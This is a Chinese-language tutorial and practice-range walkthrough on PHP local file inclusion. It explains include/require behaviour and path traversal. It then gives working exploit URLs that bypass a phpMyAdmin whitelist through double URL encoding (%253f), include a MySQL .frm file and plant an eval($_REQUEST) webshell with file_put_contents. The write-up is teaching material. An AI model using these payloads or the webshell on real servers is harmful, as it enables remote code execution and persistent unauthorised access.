[TOC]
文件包含
一、什么是文件包含漏洞
文件包含漏洞
攻击者利用包含的特性,加上应用本身对文件(包含)控制不严格,最终造成攻击者进行任意文件包含。(注:包含的文件会被当成脚本文件来解析。)
一句话来说就是:文件包含并不属于漏洞,但是,由于对包含进来的文件不可控,导致了文件包含漏洞的产生。
注:包含文件很有用,可以简化代码。
文件包含分为本地和远程文件包含(远程需要allow_url_include=On
)
本地文件包含:LFI
远程文件包含:RFI
二、PHP函数解析
include
include
使用include引用外部文件时,只有代码执行到include代码段时,调用的外部文件才会被引用并读取,当引用的文件发生错误时,系统只会给出个警告错误,而整个php文件会继续执行。
require
require
在php文件被执行之前,php解析器会用被引用的文件的全部内容替换require语句,然后与require语句之外的其他语句组成个新的php文件,最后按新的php文件执行程序代码。
include_once
include_once
使用include_once会在导入文件前先检测该文件是否在该页面的其他部分被引用过,如果有,则不会重复引用该文件,程序只能引用一次。(要导入的文件中存在一些自定义函数,那么如果在同一个程序中重复导入这个文件,在第二次导入时便会发生错误,因为php不允许相同名称的函数被重复声明。)
require_once
require_once
语句是require语句的延伸,他的功能与require语句基本一致,不同的是,在引用require_once时,先会检查要引用的文件是不是已将在该程序中的其他地方被引用过,如果有,则不会在重复调用该文件。(同时使用require_once语句在同一页面中引用了两个不同的文件,那么在输出时,只有第一个文件被执行,第二个引用的文件则不会被执行。)
三、绝对路径/相对路径
# bash
# 假定一个文件在 /usr/local/application/123.txt
当前所在目录: /usr/local
绝对路径: /usr/local/application/123.txt
相对路径: application/123.txt
# cmd
# 假定一个文件在 C:/phpstudy/www/123.txt
当前所在目录: C:/phpstudy/www/dir
绝对路径: C:/phpstudy/www/123.txt
相对路径: ../123.txt
../ 返回上一级目录
./ 当前目录
注意: ../
返回上一级目录! ./
当前目录!
利用 ../ 我们则可以在传参时,传递一些路径时,可以利用这么一点!
在php中,我们会发现这样写http://192.168.19.131/lfi/2.php?a=qweqweqwe/../../../phpstudy/WWW/lfi/1.txt
也是可以找到我们需要的那个文件的,这是因为qweqweqwe在相对路径的情况下,理解成是一个文件夹
*很明显,在相对路径传参的时候可以包含一些特殊字符,那么在php我们是不是也可以写一些特殊字符来进行传参,很明显不是这样的
比如 ?在php中问号是拿来传参的,当php解析器遇到了?就认为后面是传参了,不认为是路径了,但是当include去执行的时候会报错,因为include认为那是路径。
如果遇到包含的文件需要传参时候,可以写http://192.168.19.131/lfi/2.php?a=1.txt&q=phpinfo();
一个&符号就可以了!
四、靶场实战
本地测试
1.本地启动代码审计
2.发现危险位置,继续进一步确认
**
3.考虑如何传参,让page通过白名单
假设我们用db_sql.php?/../../../aaa.txt来绕过白名单限制进行包含文件但这种格式并不能跨路径包含,因为php程序把?号后面的东西当成是传入db_sql.php文件的参数
第三个和第二个对比多出了个 urldecode()函数,我们可以利用 双重编码绕过,将?经过两次编码 %253f就可以绕过白名单验证,当 %253f 传入时,首先会被自动解码一次,变成%3f。然后urldecode()再解码一次,就变成了 ?。成功绕过了白名单限制。
访问路径:C:\phpstudy\WWW\index.php
本地数据库路径:C:\phpstudy\MySQL\data\mysql
# index.php 与 db_sql.php同级,这里被当作目录,被第一个../忽略
# mysql 中myisam引擎会包含frm文件该文件包含数据表的结构
# && 将后面的9=phpinfo(); 传递给include的文件
POC:http://127.0.0.1/index.php?target=db_sql.php%253f/../../MySQL/data/user_center/user.frm&&9=phpinfo();
http://127.0.0.1/index.php?target=db_sql.php%253f/../../MySQL/data/user_center/user.frm&&9=phpinfo();
4.构造数据库表结构
5.请求构造后的连接
http://127.0.0.1/index.php?target=db_sql.php%253f/../../MySQL/data/user_center/user.frm&&9=phpinfo();
6.通过函数写木马文件
http://127.0.0.1/index.php?target=db_sql.php%253f/../../MySQL/data/user_center/user.frm&&9=file_put_contents('999.php','<?php eval($_REQUEST[8]);?>');
请求连接,查看是否生成文件!
线上靶场
1.靶场地址
http://59.63.200.79:8010/lfi/phpmyadmin/
2.修改数据库字段
3.通过url,得到请求的路径
http://59.63.200.79:8010/lfi/phpmyadmin/index.php?target=db_sql.php%253f/../../../../MySQL/data/a/aaa.frm&&9=phpinfo();
4.通过函数写入木马
http://59.63.200.79:8010/lfi/phpmyadmin/index.php?target=db_sql.php%253f/../../../../MySQL/data/a/aaa.frm&&9=file_put_contents('999.php','<?php eval($_REQUEST[8]);?>');
http://59.63.200.79:8010/lfi/phpmyadmin/999.php?8=phpinfo();